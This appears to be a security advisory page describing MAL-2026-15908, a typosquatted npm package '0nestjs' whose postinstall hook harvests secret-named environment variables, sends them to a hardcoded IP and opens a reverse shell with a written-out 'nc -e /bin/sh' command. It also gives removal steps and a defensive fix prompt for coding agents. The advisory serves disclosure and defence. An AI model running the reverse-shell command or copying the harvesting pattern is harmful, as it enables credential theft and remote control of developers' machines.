# MAL-2026-15908: Malicious code in 0nestjs (npm)


- **Type:** Malicious package
- **Package:** `0nestjs` (npm)
- **Published:** 3 Sep 2026

## What is MAL-2026-15908?

MAL-2026-15908 is a malicious package in 0nestjs, published on 3 Sep 2026. 

### Official description

Package name 0nestjs targets developers mistyping `nestjs`. On `npm install`, the postinstall hook `node index.js` executes automatically and performs two attacker-benefiting actions against the installer's machine. First, it enumerates process.env and collects every variable whose name matches /^(SECRET|API|TOKEN|KEY)/, then opens a raw TCP connection to the hardcoded endpoint 84.32.22.44:9999 (loaded from servers.json) and writes the harvested secrets as JSON. Second, it invokes `nc -e /bin/sh <host> <port>` against the same 84.32.22.44:9999 endpoint, wiring /bin/sh stdio to the remote host and giving the operator interactive command execution on the installer's machine. package.json self-describes as 'Typosquat of nestjs' with author 'typosquat-bot'.

The OpenSSF Package Analysis project identified '0nestjs' @ 0.0.1 (npm) as malicious.

It is considered malicious because:

- The package executes one or more commands associated with malicious behavior.

## What should I do about MAL-2026-15908?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-15908 is a malicious package: 0nestjs (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-15908/ (Markdown: https://insights.sbomify.com/MAL-2026-15908/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-15908

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-15908/
Summaries are generated and may contain mistakes; the official description above is the record.
